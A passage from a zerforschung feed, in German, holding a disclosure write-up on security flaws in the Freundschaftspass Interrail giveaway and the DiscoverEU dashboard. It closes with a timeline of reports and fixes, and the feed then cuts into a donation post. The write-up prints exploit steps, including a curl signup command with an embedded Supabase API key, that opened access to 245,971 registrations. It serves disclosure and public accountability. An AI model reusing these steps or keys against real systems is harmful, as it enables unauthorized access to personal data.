Ist, wie hier, jedoch keine mit dem entsprechenden Namen registiert, können sich die Adresse grundsätzlich alle unter den Nagel reißen.&lt;/p&gt;
&lt;p&gt;Und wer das tut und eine solche Anwendungs-Adresse quasi kapert, könnte damit beispielsweise gezieltes Phishing betreiben.
Zum Glück war es eine ehrliche Person, die den Fehler gefunden hat, die Anwendung selbst registrierte und den Verantwortlichen und uns Bescheid sagte.
So führt der Link zur &amp;ldquo;Passwort vergessen&amp;rdquo;-Funktion nur zu einer harmlosen Testseite.
Die gehörte dann zwar nicht den Anbietern des Freundschaftspasses, aber immerhin einer freundlich gesonnenen Person und keinen Kriminellen.&lt;/p&gt;
&lt;h2 id=&#34;station-3-freitickets-für-alle-allee&#34;&gt;Station 3: Freitickets-für-alle-Allee&lt;/h2&gt;
&lt;p&gt;Damit kommen wir zur nächsten Station unserer Reise:
Dem Bestellvorgang.&lt;/p&gt;
&lt;p&gt;Da nur 30.000 Pässe vergeben werden sollten, muss das Bestellsystem genau darauf aufpassen.
Sobald also die 30.001te Person versucht sich anzumelden, müsste das System einen Fehler anzeigen und keine Anmeldung mehr erlauben.
Doch das war hier nicht der Fall:
Stattdessen hat man sich – nachdem die ersten 30.000 Menschen angefangen hatten, das Bestellformular auszufüllen – schlicht dafür entschieden, das Buchungsformular nicht mehr anzuzeigen.
Auf der Website prangt nun ein Hinweis, dass alle Pässe vergeben sind.&lt;/p&gt;
&lt;p&gt;Doch wer das Formular angefangen hat, war ja noch lange nicht fertig.
Also hat man eine Hintertür eingebaut:
Wer bereits einen Bestellvorgang begonnen, aber nicht abgeschlossen hatte, bekam eine E-Mail mit einem speziellen Link.
Über diesen konnte man dann den Bestellvorgang abschließen.&lt;/p&gt;
&lt;p&gt;Nur ein klitzekleines Problemchen gab es dabei:&lt;/p&gt;
&lt;p&gt;Mit einem einfachen Kommando konnte man sich diesen Code selbst generieren – auch ohne den Bestellvorgang rechtzeitig begonnen zu haben.&lt;/p&gt;
&lt;video controls preload=&#34;none&#34; poster=&#34;/p/freundschaftspass/bypass-poster.jpg&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/freundschaftspass/bypass.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/freundschaftspass/bypass.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Im Video sehen wir, wie zuerst links ein neuer Code generiert wird.
Der wird dann rechts in den Browser kopiert, in dem sich daraufhin das Bestellformular des Freundschaftspasses öffnet.
Dieses wird ausgefüllt und am Ende sieht man die Bestätigung, dass die Anmeldung für den Freundschaftspass erfolgreich war.&lt;/p&gt;
&lt;p&gt;Ein paar Stunden später kam dann der Interrail-Pass per E-Mail.&lt;/p&gt;
&lt;p&gt;Das Ganze ist also in etwa so, als hätte man eine Truhe voller Gold – und hängt an die Vordertür ein Schild: &amp;ldquo;Alles Gold ist bereits verteilt&amp;rdquo;. Die Hintertür bleibt aber sperrangelweit offen.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wer genau wissen will, wann was passiert ist, findet &lt;a href=&#34;#timeline&#34;&gt;am Ende des Artikels eine Timeline&lt;/a&gt;.
&lt;/div&gt;
&lt;h2 id=&#34;umleitung-über-meldungen&#34;&gt;Umleitung über Meldungen&lt;/h2&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/zug-baustelle-umleitung.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/zug-baustelle-umleitung-small.jpg&#34;
         alt=&#34;Der Modellzug mit den französischen und deutschen Fähnchen biegt ab, da vor ihm eine Baustelle mit Baggern liegt.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Natürlich wollten wir die Probleme schnell an die zuständigen Stellen melden, damit sie behoben werden.
Das gestaltete sich leider schwieriger als gedacht: Ein Sicherheits-Kontakt war nicht zu finden.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Also haben wir uns an alle Stellen gewandt, die so wirkten, als könnten sie hier etwas ändern: Die Werbeagentur, die im Impressum des Freundschaftspasses steht. Das IT-Sicherheits-Team der Bahn. Die Kontaktadresse aus dem Impressum des Freundschaftspasses. Den Bürgerservice des Verkehrsministeriums. Und schließlich auch das CERT-Bund. An all diese Adressen haben wir eine Beschreibung der Lücke geschickt und um eine Eingangsbestätigung sowie nächste Schritte gebeten.&lt;/p&gt;
&lt;p&gt;Leider bekamen wir darauf zunächst keine Antwort.
Einen Tag später war immerhin der Extra-Zugang nicht mehr verfügbar.
Auch hier kam der Hinweis, das alle Tickets bereits vergeben wären.&lt;/p&gt;
&lt;p&gt;Bildlich gesprochen wurde also auch die Hintertür mit einem Hinweis versehen: &amp;ldquo;Leider sind alle Goldbarren schon verteilt.&amp;rdquo;&lt;/p&gt;
&lt;h2 id=&#34;station-4-wo-die-wilden-apis-wohnen&#34;&gt;Station 4: Wo die wilden APIs wohnen&lt;/h2&gt;
&lt;p&gt;Was aber niemand gemacht hat: Die Türen auch wirklich zugeschlossen.
Denn wenn man direkt Anfragen an die Bestell-Schnittstelle geschickt hat, konnte man weiter Pässe generieren.&lt;/p&gt;
&lt;p&gt;Und wenige Minuten später kam dann auch ein Pass per E-Mail:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/pass-email.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/pass-email.png&#34;
         alt=&#34;Screenshot der Bestätigung des Freundschaftspass mit dem Code, um den Pass in der App einzulösen&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;station-5-wir-sind-leider-außerplanmäßig-zum-halten-gekommen&#34;&gt;Station 5: &amp;ldquo;Wir sind leider außerplanmäßig zum Halten gekommen&amp;hellip;&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;Langsam wussten wir nicht mehr, was wir machen sollten.&lt;/p&gt;
&lt;p&gt;Also haben wir die Köpfe zusammengesteckt und überlegt.
Wir wussten, dass alle Verantwortlichen nur auf die Pressestelle von Eurail (also der Firma hinter allen Interrail-Pässen, die wohl beauftragt war, auch diese Pässe zu vergeben) zeigten – und diese behauptete, es gäbe keine Lücke.
Also haben wir der Pressestelle nochmal unsere Beschreibung geschickt.&lt;/p&gt;
&lt;p&gt;Daraufhin – und nach nachdrücklichen Nachfragen auf anderen Wegen – bekamen wir endlich eine Antwort.
Eurail dankte uns für den Hinweis, man habe die Lücke gestopft und suche jetzt nach den fälschlich herausgegebenen Pässen.&lt;/p&gt;
&lt;details&gt;
    &lt;summary&gt;Wie Eurail die Lücke geschlossen hat&lt;/summary&gt;    
&lt;p&gt;Das Backend für die Bestellseite läuft auf Supabase.
Die API wird dabei mittels &lt;a href=&#34;https://github.com/PostgREST/postgrest&#34;&gt;PostgREST&lt;/a&gt; umgesetzt.&lt;/p&gt;
&lt;p&gt;Praktischerweise bietet PostgREST gleich &lt;a href=&#34;https://fixmgvbxfmvoowptgiti.supabase.co/rest/v1/?apikey=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImZpeG1ndmJ4Zm12b293cHRnaXRpIiwicm9sZSI6ImFub24iLCJpYXQiOjE2ODUxMDM4NDgsImV4cCI6MjAwMDY3OTg0OH0.A4clN0pRnK6gMoAbnPIOzLe2Ij5_q6nTIvg0D0S5CA4&#34;&gt;automatische API-Doku&lt;/a&gt; mit an.
So können wir leicht nachvollziehen, was sie wirklich geändert haben.&lt;/p&gt;
&lt;p&gt;Und diese Änderung war tatsächlich relativ klein:&lt;/p&gt;
&lt;p&gt;Alle Funktionen des Buchungsprozesses haben jetzt einen neuen Parameter &lt;code&gt;secret_key&lt;/code&gt;.
Wer diesen Parameter nicht angibt, kann die Funktionen gar nicht erst aufrufen.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;PGRST202&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;details&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Searched for the function public.step_eligibility with parameters accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, user_session_code or with a single unnamed json/jsonb parameter, but no matches were found in the schema cache.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;hint&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Perhaps you meant to call the function public.step_eligibility(accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, secret_key, user_session_code)&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Could not find the function public.step_eligibility(accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, user_session_code) in the schema cache&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Wer einen falschen &lt;code&gt;secret_key&lt;/code&gt; angibt, bekommt eine Fehlermeldung:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;P0001&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;details&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;hint&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Not allowed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Was mit dem richtigen &lt;code&gt;secret_key&lt;/code&gt; passieren würde, konnten wir noch nicht ausprobieren – denn den kennen wir (zum Glück) nicht.&lt;/p&gt;
&lt;/details&gt;
&lt;p&gt;Jetzt wurden also endlich sowohl die Vordertür als auch die Hintertür abgeschlossen.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Nur um dass nochmal ganz klar zu betonen:
Eine API-Doku zu veröffentlichen, ist keine Sicherheitslücke!
Im Gegenteil sollte es eigentlich gute Praxis sein, das zu tun.
Denn eine Software wird nicht dadurch sicherer, dass niemand genau weiß, wie sie funktioniert.&lt;/p&gt;
&lt;p&gt;Deine Haustür wird ja auch nicht dadurch sicherer, dass du sie in genau dem gleichen Farbton wie deine Hauswand anmalst, sodass sie nicht so leicht zu sehen ist.
Das sieht sicher lustig aus und verwirrt erstmal – aber sicherer wird die Tür, indem du sie abschließt.&lt;/p&gt;
&lt;p&gt;Also &lt;em&gt;abschließen&lt;/em&gt;, nicht verstecken! 🤝&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&#34;station-6-datenleck-mit-245000-datensätzen-heute-von-gleis-2--direkt-gegenüber&#34;&gt;Station 6: &amp;ldquo;Datenleck mit 245.000 Datensätzen heute von Gleis 2 – direkt gegenüber&amp;rdquo;&lt;/h2&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/databreach-aus-zug.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/databreach-aus-zug-small.jpg&#34;
         alt=&#34;Zwei Modellzüge stehen am Bahnsteig, aus dem Zug auf der gegenüberliegenden Seite fallen aus den offenen Türen geschredderte Papierschnippsel.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Doch diese unverschlossenen Türen waren nicht die einzigen, die wir gefunden haben.
Nachdem die Lücke geschlossen wurde, sind wir zu benachbarten Projekten des Auftraggebers spaziert und fanden noch ein ähnliches Programm wie den Freundschaftspass: &lt;a href=&#34;https://youth.europa.eu/discovereu_de&#34;&gt;DiscoverEU&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dieses Programm entstand bereits 2018 in Folge der &lt;a href=&#34;https://de.wikipedia.org/wiki/Free_Interrail&#34;&gt;#FreeInterrail-Kampagne&lt;/a&gt;.
Hierbei können sich 18-Jährige anmelden, um einen kostenlosen Interrail-Pass zu gewinnen und Europa zu bereisen.&lt;/p&gt;
&lt;p&gt;Während der Freundschaftspass von der deutschen und der französischen Regierung erdacht wurde, war bei DiscoverEU die Europäische Kommission am Werk.
Beide Angebote haben aber eine entscheidende Gemeinsamkeit:
Umgesetzt wurde dieses Projekt von den gleichen Agenturen – MCI zusammen mit &lt;a href=&#34;https://www.caracal.agency/en/projects/discover-eu&#34;&gt;Caracal&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Informationen zu DiscoverEU gibt es auf &lt;code&gt;start-discover.eu&lt;/code&gt;.
Da haben wir aber gar nicht viel Zeit mit Umschauen verbracht.
Denn durch die &lt;a href=&#34;https://crt.sh/?q=start-discover.eu&#34;&gt;Certificate Transparency Logs&lt;/a&gt; haben wir relativ schnell ein Dashboard unter &lt;code&gt;dashboard.start-discover.eu&lt;/code&gt; entdeckt.
Die Domain klingt spannend – wir werden aber nur mit einem Login-Screen begrüßt.&lt;/p&gt;
&lt;p&gt;Technisch ist die Seite allerdings ähnlich gebaut wie der Freundschaftspass – und damit kannten wir schon die API, um einen Account anzulegen.
Auf gut Glück haben wir uns auf diese Weise einen Account erstellt und uns damit auch noch erfolgreich angemeldet.
Mit großer Sorge vor der jetzt folgenden Arbeit stellten wir fest:&lt;/p&gt;
&lt;p&gt;In dem Portal waren 245.971 Registrierungen für DiscoverEU abrufbar.
Dabei wurden folgende Daten angezeigt:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name der Person&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;Herkunftsland&lt;/li&gt;
&lt;li&gt;Zustand ihrer Anmeldung&lt;/li&gt;
&lt;li&gt;Art des Tickets&lt;/li&gt;
&lt;li&gt;Interrail-Bestellnummer&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/dashboard.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/dashboard.png&#34;
         alt=&#34;Screenshot des Dashboard: Zu sehen eine Tabelle mit den Spalten &amp;#39;A. Code&amp;#39;, &amp;#39;G.Code&amp;#39;, &amp;#39;E-mail&amp;#39;, &amp;#39;First name&amp;#39;, &amp;#39;Last name&amp;#39;, &amp;#39;Status&amp;#39;, &amp;#39;Special type&amp;#39;, &amp;#39;Type&amp;#39;, &amp;#39;County&amp;#39;&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;All diese persönlichen Daten lagen quasi offen im Internet und waren mit wenig Aufwand und Vorwissen abrufbar.&lt;/p&gt;
&lt;details&gt;
    &lt;summary&gt;Technische Details&lt;/summary&gt;
&lt;p&gt;Die nötigen Schritte, um die Lücke auszunutzen, waren:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Mit dem folgenden &lt;code&gt;curl&lt;/code&gt;-Kommando einen Account anlegen. &lt;code&gt;[EMAIL]&lt;/code&gt; und &lt;code&gt;[PASSWORD]&lt;/code&gt; müssten dabei durch eine E-Mail-Adresse und ein Passwort ersetzt werden:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl --request POST &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --url https://zaymuaqytesywmkspxqk.supabase.co/auth/v1/signup &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --header &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Content-Type: application/json&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --header &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6InpheW11YXF5dGVzeXdta3NweHFrIiwicm9sZSI6ImFub24iLCJpYXQiOjE2Njk5OTM3NTgsImV4cCI6MTk4NTU2OTc1OH0.JraN96zZgiM5iOkWFqNmQYWZG2jS7kTeEaYS6eW8xj4&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --data &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    &amp;#34;email&amp;#34;: &amp;#34;[EMAIL]&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    &amp;#34;password&amp;#34;: &amp;#34;[PASSWORD]&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nach ein paar Sekunden kommt eine Bestätigungs-Email. Auf den darin enthaltenen Link klicken:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/confirmation.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/confirmation.png&#34;
            alt=&#34;Screenshot der Bestätigungs-Email: &amp;#39;Follow this link to confirm your user.&amp;#39;&#34;/&gt;&lt;/a&gt;
   &lt;/figure&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Auf &lt;code&gt;https://dashboard.start-discover.eu&lt;/code&gt; mit dem Account einloggen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Man kann alle Registrierungen einsehen.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id=&#34;erneuter-halt-in-meldungen&#34;&gt;Erneuter Halt in Meldungen&lt;/h2&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/report-per-postwaggon.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/report-per-postwaggon-small.jpg&#34;
         alt=&#34;Der Postwaggon des Modellzugs, in der geöffneten Tür ein überdimensionales Papier mit der Aufschrift ZER - Report&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Völlig schockiert über dieses Datenleck haben wir nochmal unser digitales Briefpapier ausgepackt und ganz schnell gemeldet: An die Agentur, die Kontakt-Adresse von Start-Discover.eu, das CERT-EU und die für DiscoverEU zuständige Stelle der Europäischen Kommission.
Außerdem kannten wir zum Glück schon die richtige Ansprechperson in der Pressestelle von Eurail, die das ganze dann schnell an die zuständigen Personen weiterverteilte.&lt;/p&gt;
&lt;p&gt;Die reagierten dann auch flott und nach weniger als einer Stunde war die Lücke geschlossen – man hat einfach die Anmeldung deaktiviert.
Außerdem, teilte man uns mit, wolle man nun einen externen Sicherheitstest durchführen lassen und die nötigen Schritte, die in der DSGVO bestimmt sind, gehen.&lt;/p&gt;
&lt;h2 id=&#34;fazit--dieser-zug-endet-hier&#34;&gt;Fazit – Dieser Zug endet hier&lt;/h2&gt;
&lt;p&gt;Freundschaftspass und DiscoverEU sind eigentlich tolle Ideen: Der Staat schenkt jungen Menschen Bahntickets, um ihre Nachbarländer kennenzulernen.
Doch statt einfach möglichst vielen Menschen einen schönen Sommerurlaub und neue Bekanntschaften zu ermöglichen, entstand dabei leider wieder einmal ein Digital-Desaster.&lt;/p&gt;
&lt;p&gt;Der Freundschaftspass ist außerdem ein gutes Beispiel für entstehende Macht-Ungleichgewichte durch schlechte digitale Lösungen:
Wer genug technische Kenntnisse hat, bekommt auch dann noch einen Pass, wenn eigentlich schon alle vergeben sind.
Alle anderen gehen leer aus oder verlieren sogar ihre Accounts.&lt;/p&gt;
&lt;p&gt;Solche halbgaren Lösungen wären schon unzureichend, wenn ein Ticketanbieter ein paar Konzertkarten verkaufen will.
Doch wenn ein Bundesministerium sich hinstellt und Zugtickets verschenkt, dann muss nochmal besonderes Augenmerk darauf gelegt werden, dass alles gut getestet ist.&lt;/p&gt;
&lt;p&gt;Noch schlimmer wird es dann, wenn wir nicht nur neue Pässe anlegen, sondern sogar mehr als 245.000 Datensätze des DiscoverEU-Programms abrufen können.
Wir sagen &lt;a href=&#34;https://zerforschung.org/posts/scoolio/&#34;&gt;mal&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/doczirkus/&#34;&gt;wieder&lt;/a&gt;: &lt;strong&gt;Wenn eine Website marktreif genug ist, um Daten zu verarbeiten, muss sie auch reif genug sein, diese für sich zu behalten.&lt;/strong&gt;&lt;br&gt;
Es ist erschütternd, dass hier so nachlässig gearbeitet wurde – und das anscheinend einfach so hingenommen wird.&lt;/p&gt;
&lt;p&gt;Wir können nur hoffen, dass wir wirklich die Ersten waren, die diese Lücke entdeckt haben – und die Daten nicht schon längst von weniger wohlwollenden Websurfern weggeschafft wurden.&lt;/p&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;p&gt;Alle Zeiten sind CEST.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2023-06-12 10:00 Uhr – Beginn des Verkaufs&lt;/li&gt;
&lt;li&gt;2023-06-12 – Nicht registrierte Vercel-Anwendung wird gefunden und gemeldet&lt;/li&gt;
&lt;li&gt;2023-06-13 23:00 Uhr – Wir finden die Hintertür&lt;/li&gt;
&lt;li&gt;2023-06-14 01:15 Uhr – Meldung an DB-CSIRT, MCI, Kontakt aus Impressum, BMDV, CERT-Bund&lt;/li&gt;
&lt;li&gt;2023-06-14 22:00 Uhr – Wir bekommen Freundschaftspässe an Test-Adressen&lt;/li&gt;
&lt;li&gt;2023-06-15 00:00 Uhr – Wir schicken die Meldung auch an Eurail&lt;/li&gt;
&lt;li&gt;2023-06-15 10:00 Uhr – Wir stellen fest, dass Hintertür auch durch Hinweis ersetzt ist&lt;/li&gt;
&lt;li&gt;2023-06-15 13:00-14:00 Uhr – Wir können verifizieren, dass Pässe weiter über API registrierbar sind&lt;/li&gt;
&lt;li&gt;2023-06-15 17:30 Uhr – Antwort von Eurail, dass die Lücken geschlossen wurden&lt;/li&gt;
&lt;li&gt;2023-06-16 13:00 Uhr – Wir entdecken die Lücke bei Start-Discover.eu&lt;/li&gt;
&lt;li&gt;2023-06-16 15:30 Uhr – Wir melden die Lücke&lt;/li&gt;
&lt;li&gt;2023-06-16 18:50 Uhr – MCI schreibt uns, dankt für die Meldung, um 16:20 Uhr sei die Lücke geschlossen gewesen&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;heading&#34;&gt;🤝&lt;/h2&gt;
&lt;p&gt;Wir haben unsere Funde mit Eva Wolfangel für ZEIT Online geteilt. Ihren Artikel findet ihr &lt;a href=&#34;https://www.zeit.de/digital/datenschutz/2023-06/freundschaftspass-frankreich-website-hacker&#34;&gt;hier&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ursprünglich wollten wir unsere Erkenntnisse am Freitag, 16.06.2023, veröffentlichen. Weil wir dann aber noch die Probleme bei DiscoverEU gefunden, gemeldet und abgewartet haben, bis alles abgesichert war, haben wir die Veröffentlichung verschoben.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Das Dokumentieren, Melden und Veröffentlichen solcher Lücken kostet Nerven und Zeit - die wir auch viel lieber mit Aus-dem-Zugfenster-Gucken verbringen würden. Wir machen das alles ehrenamtlich und in unserer Freizeit.&lt;/p&gt;
&lt;p&gt;Wenn ihr uns unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Wir empfehlen &lt;em&gt;jedem&lt;/em&gt; Unternehmen, auf &lt;em&gt;allen&lt;/em&gt; Webseiten einen Security-Kontakt und ggf. weitere Informationen zum Melden von Sicherheitslücken zu veröffentlichen. Am einfachsten geht das über eine &lt;a href=&#34;https://securitytxt.org&#34;&gt;security.txt&lt;/a&gt;.
Dies würde (nicht nur) uns helfen, solche Lücken ohne Umwege an die richtigen Stellen in Unternehmen melden zu können.
Mehr dazu findet ihr &lt;a href=&#34;https://zerforschung.org/posts/rc3-2021/#schraubt-das-virtuelle-klingelschild-an&#34;&gt;hier&lt;/a&gt;.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Money Money Money</title>
      <link>https://zerforschung.org/posts/moneymoneymoney/</link>
      <pubDate>Tue, 02 May 2023 16:00:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/moneymoneymoney/</guid>
      <description>&lt;p&gt;tl;dr: &lt;em&gt;Unsere Kontoverbindung musste sich (2025 schon wieder) ändern und wir sind sowohl jetzt &lt;a href=&#34;https://www.patreon.com/zerforschung&#34;&gt;bei Patreon&lt;/a&gt; als auch &lt;a href=&#34;https://steadyhq.com/zerforschung&#34;&gt;bei Steady&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Zuerst einmal wollen wir ein ganz großes Dankeschön loswerden:
zerforschung arbeitet komplett ehrenamtlich und dass einige unsere Arbeit so sehr schätzen, dass sie uns beschenken, freut uns immer wieder unfassbar doll. 😊&lt;/p&gt;
